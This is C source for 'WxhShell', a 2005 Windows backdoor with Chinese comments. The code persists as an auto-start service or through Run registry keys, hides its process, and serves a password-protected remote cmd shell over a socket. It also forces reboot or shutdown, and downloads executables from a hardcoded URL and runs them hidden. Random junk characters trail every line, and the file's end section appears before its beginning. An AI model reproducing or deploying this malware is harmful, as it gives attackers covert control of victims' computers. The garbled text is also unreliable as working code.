    if(Boot(SHUTDOWN)) eD*764tG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D0J{pAJ  
    else { %|jS`kj  
    closesocket(wsh); F}Zg3 #  
    ExitThread(0); =Uk #7U"P  
    } r\m{;Z#LJm  
    break; ,2AulX 1  
    } ~ <1s[Hu  
  // 获取shell 'iMzp]V;  
  case 's': { 9/"&6,  
    CmdShell(wsh); c!@|y E,  
    closesocket(wsh); x8lBpr  
    ExitThread(0); ~&:-c v  
    break; \3vQXt\dM$  
  } A!Tl  
  // 退出 RFw0u 0Nrz  
  case 'x': { 7(/yyZQnZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g}~s"Sz  
    CloseIt(wsh); bK "I9T #  
    break; DY`0 `T  
    } 3]S*p ErY  
  // 离开 W[jg+|  
  case 'q': { 0\i\G|5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6jpzyf=~  
    closesocket(wsh); +[}y` -t  
    WSACleanup(); @<K<"`~H  
    exit(1); yz [pF  
    break; g9C-!X-<T  
        } - ~z@W3\  
  } V@0T&#  
  } .XgY&5Qk  
^E%R5JN  
  // 提示信息 -#%M,Qb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w&@tP^`  
} [Or1  
  } :h,}yBJ1L  
c@>ztQU*  
  return; KXMf2)pa  
} Lginps[la  
.*NPoW4Kv  
// shell模块句柄 tDETRjTA  
int CmdShell(SOCKET sock) &pK0>2  
{ &zYQ H@  
STARTUPINFO si; +1#;s!e  
ZeroMemory(&si,sizeof(si)); k3&68+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A8ViJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  +At [[  
PROCESS_INFORMATION ProcessInfo; *6JA&zj0B  
char cmdline[]="cmd"; /yU#UZ4;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z +/3rd  
  return 0; c RI2$|  
} 4+8)0;<H  
S^R dj ]  
// 自身启动模式 @ws&W=NQ  
int StartFromService(void) JQb{?C  
{ Vu_oxL}  
typedef struct e&ti(Q=  
{ Ft;x@!h%  
  DWORD ExitStatus; |HAbZd7PG  
  DWORD PebBaseAddress; U ]pE{ ^\w  
  DWORD AffinityMask; gwNZ`_Q  
  DWORD BasePriority; >~d'i  
  ULONG UniqueProcessId; 5[2kk5,  
  ULONG InheritedFromUniqueProcessId; *~U*:>hS  
}   PROCESS_BASIC_INFORMATION; y ;mk]  
uznqq}  
PROCNTQSIP NtQueryInformationProcess; }#g]qK  
/y1+aTiJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L%[>z'Zp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ="G2I\  
7j|CWurvq  
  HANDLE             hProcess; b4:{PD~Mh  
  PROCESS_BASIC_INFORMATION pbi; K1YxF  
jNbVp{%/S}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h5P ]`r  
  if(NULL == hInst ) return 0; vo E t\H  
yIiVhI?X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = 1veO0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iB99.,o-&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (e_<~+E  
=~s+<9c]  
  if (!NtQueryInformationProcess) return 0; _an 0G?7  
q4X( _t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BN&)5M?Xt6  
  if(!hProcess) return 0; nh7_ jEX  
UvMkL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _zbIS&4  
,J2qLH1  
  CloseHandle(hProcess); NPv.7,  
~(*tcs]hY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x+~!M:fAc9  
if(hProcess==NULL) return 0; P,zQl;  
/7#MJH5b6  
HMODULE hMod; :}36;n<['  
char procName[255]; XR VZU~ZV  
unsigned long cbNeeded; ?(zCv9Pg  
AP z"k?D0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tvn o3"  
6wT ])84  
  CloseHandle(hProcess); IjOBY  
kE6/d,  
if(strstr(procName,"services")) return 1; // 以服务启动 RU#}!Kq  
*]/iL#  
  return 0; // 注册表启动 Slo^tqbG  
} )AEtW[~D  
bGB$a0  
// 主模块 3ouy-SQ  
int StartWxhshell(LPSTR lpCmdLine) k)z>9z%D  
{ ;jx[  +  
  SOCKET wsl; ^?]-Q*w3Qs  
BOOL val=TRUE; a/s5Oit2'X  
  int port=0; &kvmLOI  
  struct sockaddr_in door; vx7=I\1  
AJ}m2EH  
  if(wscfg.ws_autoins) Install(); B T}l"  
UM0Ws|qx&  
port=atoi(lpCmdLine); 0N)DHD?U  
vC1fKo\p  
if(port<=0) port=wscfg.ws_port; L9^ M?.a  
3st?6?7|  
  WSADATA data; oM>UIDCY_v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |<3x`l-`  
k$5l kP.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    mVS^HQ:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hr=|xw8.  
  door.sin_family = AF_INET; k:V9_EI=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hl0X, G+@  
  door.sin_port = htons(port); T9J&^I  
E;`^`T40  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]5@n`;&#.  
closesocket(wsl); 5|jY  
return 1; a0k;way  
} ]Hl{(v\H O  
:B=Gb8?  
  if(listen(wsl,2) == INVALID_SOCKET) { K@:omT  
closesocket(wsl); .* `]x  
return 1; >h:'Z*9  
} ^uG^>Om*  
  Wxhshell(wsl); ]Ue aXwaU  
  WSACleanup(); ]8"U)fzmc.  
}'}n~cA.{  
return 0; aeNbZpFQ  
c zT2f  
} bbjEQby  
X}]A_G  
// 以NT服务方式启动 OqRRf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]zAwKuIK  
{ 7l/ZRz }1  
DWORD   status = 0; p<\!{5:   
  DWORD   specificError = 0xfffffff; Ri AMW|M"C  
kf<c[su  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CvZ\Z472.j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A4rMJ+!5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )l! /7WKY  
  serviceStatus.dwWin32ExitCode     = 0; u^MRKLn  
  serviceStatus.dwServiceSpecificExitCode = 0; 0#=xUk#LP`  
  serviceStatus.dwCheckPoint       = 0; mrsmul{  
  serviceStatus.dwWaitHint       = 0; }pf|GdL  
pl[@U<8aw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XUVj<U  
  if (hServiceStatusHandle==0) return; | @ ut/  
[aA@V0l  
status = GetLastError(); fwA8=o SZd  
  if (status!=NO_ERROR) L58#ri=  
{ C+M]"{Y+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zx$1.IM"4  
    serviceStatus.dwCheckPoint       = 0; du ~V=%9  
    serviceStatus.dwWaitHint       = 0; h*40jZ  
    serviceStatus.dwWin32ExitCode     = status; 4sO Rp^t'Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; rp"5176  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Id`V`|q  
    return; Nr]Fh  
  } Sx J0Y8#z  
oj{CNa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \1<|X].jNY  
  serviceStatus.dwCheckPoint       = 0; !"yr;t>|Zb  
  serviceStatus.dwWaitHint       = 0; 7T6Zlp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5y g`TW  
} ?B e}{Qqlg  
aaKf4}  
// 处理NT服务事件,比如:启动、停止 7q;`~tbC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m44a HBwId  
{ ^$% Sg//  
switch(fdwControl) ZCZ@ZN  
{ `V<jt5TS  
case SERVICE_CONTROL_STOP: _#r00Ze  
  serviceStatus.dwWin32ExitCode = 0; O9>$(`@I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OE0G*`m  
  serviceStatus.dwCheckPoint   = 0; '@@!lV  
  serviceStatus.dwWaitHint     = 0; $+n6V2^K)7  
  { `) cH(Rj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^dk$6%0  
  } u_+iH$zA  
  return; &)+H''JY  
case SERVICE_CONTROL_PAUSE: JN9>nC!Zy_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [mjie1j/<  
  break; #| ,cy,v4  
case SERVICE_CONTROL_CONTINUE: H I_uR$m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ng !d6]  
  break; !Tv3WQ@  
case SERVICE_CONTROL_INTERROGATE: V7nOT*N:Q  
  break; Mh~}RA"H  
}; F xm:m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?$)5NQB%  
} RzL(Gnb  
|BZrV3;H  
// 标准应用程序主函数 =+wd"Bu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !dGu0wE  
{ i@5Fne  
 6(-s@{  
// 获取操作系统版本 3 1-p/  
OsIsNt=GetOsVer(); `?N0?;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m }HaJ  
 P33xt~  
  // 从命令行安装 QM 3DB  
  if(strpbrk(lpCmdLine,"iI")) Install(); z#o''  
Y2 J-`o$5  
  // 下载执行文件 m#8[")a$"  
if(wscfg.ws_downexe) { vaP`'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X|Y(*$?D7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ky%lu^  
} 9-{=m+|b  
o.fqJfpj  
if(!OsIsNt) { ,I5SAd|dX  
// 如果时win9x,隐藏进程并且设置为注册表启动 EV{Ys}3M  
HideProc(); OrM1eP"I  
StartWxhshell(lpCmdLine); 54z.@BJhE  
} J@$~q}iG  
else O HpV%8`  
  if(StartFromService()) B T"R"w  
  // 以服务方式启动 +ppA..1  
  StartServiceCtrlDispatcher(DispatchTable); a= j'G]=  
else u)<s*jk  
  // 普通方式启动 37jxl+  
  StartWxhshell(lpCmdLine); :p: C  
^c.D&y%5  
return 0; z dgS@g  
} 1] ~w?)..'  
+Z|3[#W  
u>:(MARsR  
@ G)yz!H  
=========================================== ;H~<.QW  
NvJ5[W  
1F`jptVQ\G  
Px=@Tw N,  
6^'BTd  
qJdlZW<  
" )'U0n`=  
A/'po_'uy  
#include <stdio.h> ]1<GZ`  
#include <string.h> 9/(jY$Ar  
#include <windows.h> v}Ju2}IK  
#include <winsock2.h> rjK`t_(=  
#include <winsvc.h> u7[}pf$}  
#include <urlmon.h> sg^|dS{3D  
w(6n  
#pragma comment (lib, "Ws2_32.lib") <8^x Mjc  
#pragma comment (lib, "urlmon.lib") k[ro[E  
0Z8"f_GK  
#define MAX_USER   100 // 最大客户端连接数 E(PBV  
#define BUF_SOCK   200 // sock buffer 8\lh'8  
#define KEY_BUFF   255 // 输入 buffer ciS,  
=zyA~}M2  
#define REBOOT     0   // 重启 BtC*]WB"_'  
#define SHUTDOWN   1   // 关机 >UaQ7CRo  
/gZyl|kdy  
#define DEF_PORT   5000 // 监听端口 vNv!fkl  
'&![h7B  
#define REG_LEN     16   // 注册表键长度 ~pQN#C)CO>  
#define SVC_LEN     80   // NT服务名长度 MWh Y&I+  
a^p#M  
// 从dll定义API ^E.L8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !o /=,ZIx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D:_W;b)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $QC1l@[sM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;Y^'$I2fR#  
Zj_2>A  
// wxhshell配置信息 m|aK_  
struct WSCFG {  1[SG.  
  int ws_port;         // 监听端口 06S R74  
  char ws_passstr[REG_LEN]; // 口令 ~Ba=nn8Cq  
  int ws_autoins;       // 安装标记, 1=yes 0=no :D)(3U5  
  char ws_regname[REG_LEN]; // 注册表键名 xmvE*q"9]  
  char ws_svcname[REG_LEN]; // 服务名 x)~i`$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  m[B#k$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @vt.Db  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9RJF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h)HEexyRg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kgu8E:nL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I x%>aee  
i3,IEN  
}; Mqr_w!8d  
3T2]V?   
// default Wxhshell configuration @b,Az{EH  
struct WSCFG wscfg={DEF_PORT, 9 %T??-  
    "xuhuanlingzhe", "=djo+y  
    1, pd|KIs%jl  
    "Wxhshell", Jay"  
    "Wxhshell",  yfZNL?2x  
            "WxhShell Service", RRIh;HhX  
    "Wrsky Windows CmdShell Service", |vI`u[P  
    "Please Input Your Password: ", ?;ok9Y  
  1, G.rz6o;  
  "http://www.wrsky.com/wxhshell.exe", <e2l@@#oy  
  "Wxhshell.exe" 1 ~zjsi  
    }; lT|Gkm<G  
l_^SU8i57  
// 消息定义模块 1[!v{F%]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zw>L0gC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )XN_|zCk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4E39]vb  
char *msg_ws_ext="\n\rExit."; :R Iz6Tz  
char *msg_ws_end="\n\rQuit."; b6N[t _,  
char *msg_ws_boot="\n\rReboot..."; p{g4`o  
char *msg_ws_poff="\n\rShutdown..."; ;Bs~E  
char *msg_ws_down="\n\rSave to "; C`[<6>&y  
8:,($a/KF  
char *msg_ws_err="\n\rErr!"; kFn/dQ4|  
char *msg_ws_ok="\n\rOK!"; V*giF`gq  
O[Vet/^)  
char ExeFile[MAX_PATH]; Muo E~K2  
int nUser = 0; <\^0!v  
HANDLE handles[MAX_USER]; QqA=QTZ}  
int OsIsNt; v'W{+>.  
lP F326e  
SERVICE_STATUS       serviceStatus; i2,4:M)CV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1RRE{]2v#  
VeYT[Us"  
// 函数声明 7IX8ck[D  
int Install(void); v>8C}d^  
int Uninstall(void); OETo?Wg1Z  
int DownloadFile(char *sURL, SOCKET wsh); 3p0v  
int Boot(int flag); >h\y1IrAaG  
void HideProc(void); $ DL}jH^S  
int GetOsVer(void); q[&Kr+)j  
int Wxhshell(SOCKET wsl); _K^Q]V[nZ  
void TalkWithClient(void *cs); 0bT j/0G?  
int CmdShell(SOCKET sock); s1:Wrz?4  
int StartFromService(void); xyp{_ MZ  
int StartWxhshell(LPSTR lpCmdLine); Bf ut mI  
oac)na:O#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *F\wWg'!B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =;rLv7(a  
SqM>xm  
// 数据结构和表定义 0q}i5%m7  
SERVICE_TABLE_ENTRY DispatchTable[] = Z0,jg)sA4  
{ S,m(  
{wscfg.ws_svcname, NTServiceMain}, 5\+*ml  
{NULL, NULL} +A| Bc~2!  
}; Q|'f3\  
J:Cr.K`  
// 自我安装 }[AaI #  
int Install(void) u<-)C)z  
{ n{tc{LII/  
  char svExeFile[MAX_PATH]; 0#*6:{/^  
  HKEY key; 2 XP }:e  
  strcpy(svExeFile,ExeFile); !HY^QK  
YuK+ N  
// 如果是win9x系统,修改注册表设为自启动 [G<ga80  
if(!OsIsNt) { yw^Pok5.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n1sYD6u<&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pbH!u+DF  
  RegCloseKey(key); jI ol`WX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?qgQ)#6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J @Hg7Faz  
  RegCloseKey(key); s L^+$Mq6  
  return 0; ]o6 ZZK  
    } d?zSwLsl  
  } 1}(22Q;  
} TeHJj`rdAU  
else { O~3 A>j  
O^L]2BVC  
// 如果是NT以上系统,安装为系统服务 i2=- su  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W/Dd7 G#IC  
if (schSCManager!=0) L@N %S Sf  
{ D=e*rrL7a  
  SC_HANDLE schService = CreateService 4V@%Y,:ee  
  ( Q:A#4Z  
  schSCManager, nLN0zfhE#  
  wscfg.ws_svcname, 9\Ii$Mp  
  wscfg.ws_svcdisp, [LYO'-g^F#  
  SERVICE_ALL_ACCESS, F%w! I 9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,lZ19B?WP  
  SERVICE_AUTO_START, eh86-tQI~(  
  SERVICE_ERROR_NORMAL, AO-5>r  
  svExeFile, IMf|/a9-  
  NULL, 8 v/H;65  
  NULL, msl.{  
  NULL, W A/dt2D|  
  NULL, A@A8xn%  
  NULL ;uBGB h<  
  ); ;ku>_sG-  
  if (schService!=0) \+ se%O  
  { Z& _kq|  
  CloseServiceHandle(schService); x[0T$  
  CloseServiceHandle(schSCManager); nWd!ovd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); htBA.eQ  
  strcat(svExeFile,wscfg.ws_svcname); Z"`w>c.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )lG}B U.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UG2+Y']  
  RegCloseKey(key); Z/Rp?Jz\j/  
  return 0; DbMVbgz<e  
    } 2j s/>L0  
  } Ac:`xk<  
  CloseServiceHandle(schSCManager); UqK.b}s  
} ]s\r3I]  
} z !K2UTX  
!0;AFv`\  
return 1; Y{} ub]i  
} fn}E1w  
~+Wx\:TT  
// 自我卸载 vjEDd`jYZ  
int Uninstall(void) Mu3G/|t(  
{ , $7-SN  
  HKEY key; 'O<b'}-A  
q[s,q3n~  
if(!OsIsNt) { \{h_i FU!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zbczbnj  
  RegDeleteValue(key,wscfg.ws_regname); &g :(I  
  RegCloseKey(key); 5CI {&E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h FU8iB`Q  
  RegDeleteValue(key,wscfg.ws_regname); }-3 VK%  
  RegCloseKey(key); X=QX9Ux?^  
  return 0; 1eI*.pt  
  } @Jd&[T27Lr  
} )!8q JQD  
} T`# nn|  
else { yYz{*hq  
|` T7}U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lNX*s E .  
if (schSCManager!=0) MJ}{Q1|*  
{ FL mD?nw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); " MnWd BS  
  if (schService!=0) Vn#}f=u\  
  { Ed=/w6<  
  if(DeleteService(schService)!=0) { +hRy{Ps/  
  CloseServiceHandle(schService);  2E*=EjGV  
  CloseServiceHandle(schSCManager); gj^)T_E_  
  return 0; F_@B ` ,  
  } 7y Cf3  
  CloseServiceHandle(schService); hz/mNDE]  
  } U$y 9f  
  CloseServiceHandle(schSCManager); G&oD;NY@/  
} m` 1dB%;?  
} z^9oaoTl  
 [N,+mX  
return 1; 8m0*89HEu  
} j2G^sj"|  
]]|#+$ ~  
// 从指定url下载文件 =M1}HF,7>l  
int DownloadFile(char *sURL, SOCKET wsh) y[7M(K  
{ , z\Qd07u  
  HRESULT hr; 6u_i >z  
char seps[]= "/"; ^q-%#  
char *token; DOWWG!mx  
char *file;  q0ktABB  
char myURL[MAX_PATH]; gS FZ>v*6  
char myFILE[MAX_PATH]; 8F[ ];LF>  
Y-it3q'Z  
strcpy(myURL,sURL); 6 IvAs-%W  
  token=strtok(myURL,seps); -6)nQNj|  
  while(token!=NULL) 'Xik2PaO  
  { h,\{s_b  
    file=token; -r *|N.5c  
  token=strtok(NULL,seps); [8'?G5/n  
  } -mO#HZIq  
d/  Lz"  
GetCurrentDirectory(MAX_PATH,myFILE); 5( <O?#P  
strcat(myFILE, "\\"); {IOc'W-C#2  
strcat(myFILE, file); -nGcm"'6F  
  send(wsh,myFILE,strlen(myFILE),0); =-^A;AO(  
send(wsh,"...",3,0); x-i,v"8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Noj*K6  
  if(hr==S_OK) nmpc<&<<  
return 0; 7rD 8  
else #M!u';bZ  
return 1; %oiF} >  
oG)T>L[&  
} /Xi21W/  
3P!OP{`  
// 系统电源模块 Bw;isMx7  
int Boot(int flag) l~$)>?ZD  
{ ;bwBd:Y  
  HANDLE hToken; !SuflGx,q  
  TOKEN_PRIVILEGES tkp; h; q&B9  
%ddH4Q/p  
  if(OsIsNt) { n[>hJ6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zU1D@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); > %KEMlKZ  
    tkp.PrivilegeCount = 1; QtfL'su:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [pU(z'caS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -W!M:8  
if(flag==REBOOT) { KTYjC\\G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X>$Wf3  
  return 0; $6m@gW]N  
} vyS>3(NZ  
else { q:kGJ xfaW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5& %M L  
  return 0; d5-Q}D,P  
} PxYK)n9&  
  } h GA2.{  
  else { rn . qs  
if(flag==REBOOT) { T[4xt,[a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (A=PDjP!  
  return 0; EY]H*WJJ  
} *  1}dk`-  
else { =x+1A)Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YC;@^  
  return 0; d>u^ 7:  
} & &CrF~  
} _wXT9`|3  
}V ]*FCpQ  
return 1; L4^/O29  
} 8b0j rt  
?5't1219  
// win9x进程隐藏模块 50 w$PW  
void HideProc(void) qt.4dTd:_  
{ cEf"m ?w  
Lu^uY7 ?}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <k[_AlCmsg  
  if ( hKernel != NULL ) u$tst_y-  
  { gZ&4b'XS,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^0"^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `IlhLv  
    FreeLibrary(hKernel); +76'(@(1Y  
  } m> +  
x .@O]}UH  
return; K 'I6iCrD  
} DI)"F OM6  
64b AWHv  
// 获取操作系统版本 1PxRj  
int GetOsVer(void) [;hkT   
{ rXmrT%7k  
  OSVERSIONINFO winfo; 0#GnmH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %@%rdrZ  
  GetVersionEx(&winfo); Q.9,W=<6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L+ew/I>:  
  return 1; q5Zu'-Cx@  
  else 6Z1O:Bou  
  return 0; T$mT;k  
} N @_y<7#C  
&LI q?  
// 客户端句柄模块 n<|8Onw  
int Wxhshell(SOCKET wsl) gna!Q  
{ =oXlJ[)h  
  SOCKET wsh; POm;lM$  
  struct sockaddr_in client; `6-flc0r  
  DWORD myID; BO}IN#  
EO(l?Fgw]$  
  while(nUser<MAX_USER) ?r =`Kl  
{ t,TlW^-  
  int nSize=sizeof(client); wL3BgCxqDL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gLSI?  
  if(wsh==INVALID_SOCKET) return 1; _"F=4`lJ  
ug{sQyLN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3<.DiY  
if(handles[nUser]==0) 6Jy%4]wK  
  closesocket(wsh); ZuWh gnp  
else  e+#Oj  
  nUser++; jCj8XM{c>  
  } _[8JSw7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >9XG+f66E  
C% z9Q  
  return 0; _s-X5 xU  
} Y,mo}X<>  
.z$UNB(!M  
// 关闭 socket p\I3fI0i  
void CloseIt(SOCKET wsh) U(+QrC:  
{ ph)=:*A6&  
closesocket(wsh); !1S!)#  
nUser--; Y#):1C1  
ExitThread(0);  })!-  
} n9 bp0#K  
!<h9XccN  
// 客户端请求句柄 L})fYVX  
void TalkWithClient(void *cs) G,6`:l  
{ |CQjgI|;  
+R$;LtR  
  SOCKET wsh=(SOCKET)cs; k^JgCC+  
  char pwd[SVC_LEN]; G@e;ms1  
  char cmd[KEY_BUFF]; r.@UH-2c  
char chr[1]; h`Ej>O7m  
int i,j; =|O]X|y-lZ  
>yenuqIKQv  
  while (nUser < MAX_USER) { #mioT",bm=  
H9_>a-> )~  
if(wscfg.ws_passstr) { L kafB2y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eb5>c/(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?st}rJ_  
  //ZeroMemory(pwd,KEY_BUFF); %/U'Wu{*  
      i=0; uFuH/(}K[  
  while(i<SVC_LEN) { Pvv7|AV   
mGwJ>'+d  
  // 设置超时 ^eoW+OxH  
  fd_set FdRead; R/B/|x  
  struct timeval TimeOut; }#g &l*P  
  FD_ZERO(&FdRead); # mM9^LJ   
  FD_SET(wsh,&FdRead); 1A(f_ 0,.Q  
  TimeOut.tv_sec=8; 8% ; .H-  
  TimeOut.tv_usec=0; Ozulp(8*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3 ?gfDJfE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |J-tU)|1vl  
B}y#AVSA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]We0 RD"+  
  pwd=chr[0]; t ~]' {[F  
  if(chr[0]==0xd || chr[0]==0xa) { $Y$s*h_-/<  
  pwd=0; tT A  
  break; !oRN,m[7)p  
  } Pr1OQbg]8  
  i++; cjLA7I.O  
    } M_?B*QZJI  
pxbuZ9w2Q  
  // 如果是非法用户,关闭 socket 1_xkGc-z<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4 q % Gc  
} u3 +]3!BQ  
ok-q9dM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J| 46i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2c,w 4rK  
Q^Vch(`&P  
while(1) { 2nFr?Y3g,  
( Q&jp!WU  
  ZeroMemory(cmd,KEY_BUFF); bLg gh]Fh  
Mu" vj*F  
      // 自动支持客户端 telnet标准   X)TZ  S  
  j=0; 8BY`~TZO$q  
  while(j<KEY_BUFF) { E9.1~ )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2:[<E2z  
  cmd[j]=chr[0]; ,ueA'GZ  
  if(chr[0]==0xa || chr[0]==0xd) { *|+$7j  
  cmd[j]=0; sBxCi~  
  break;  )DW".c  
  } *xeJ4h  
  j++; ]G! APE  
    } C-Y7n5  
Q\^BOdX^`  
  // 下载文件 tnX W7ej^  
  if(strstr(cmd,"http://")) { tuo'Uk)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :K \IS`  
  if(DownloadFile(cmd,wsh)) \u/=?b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N>j*{]OY+{  
  else <qoPBm])  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c!$~_?]  
  } o:%;AOcl  
  else { ~W gO{@Mw  
r_V^sX  
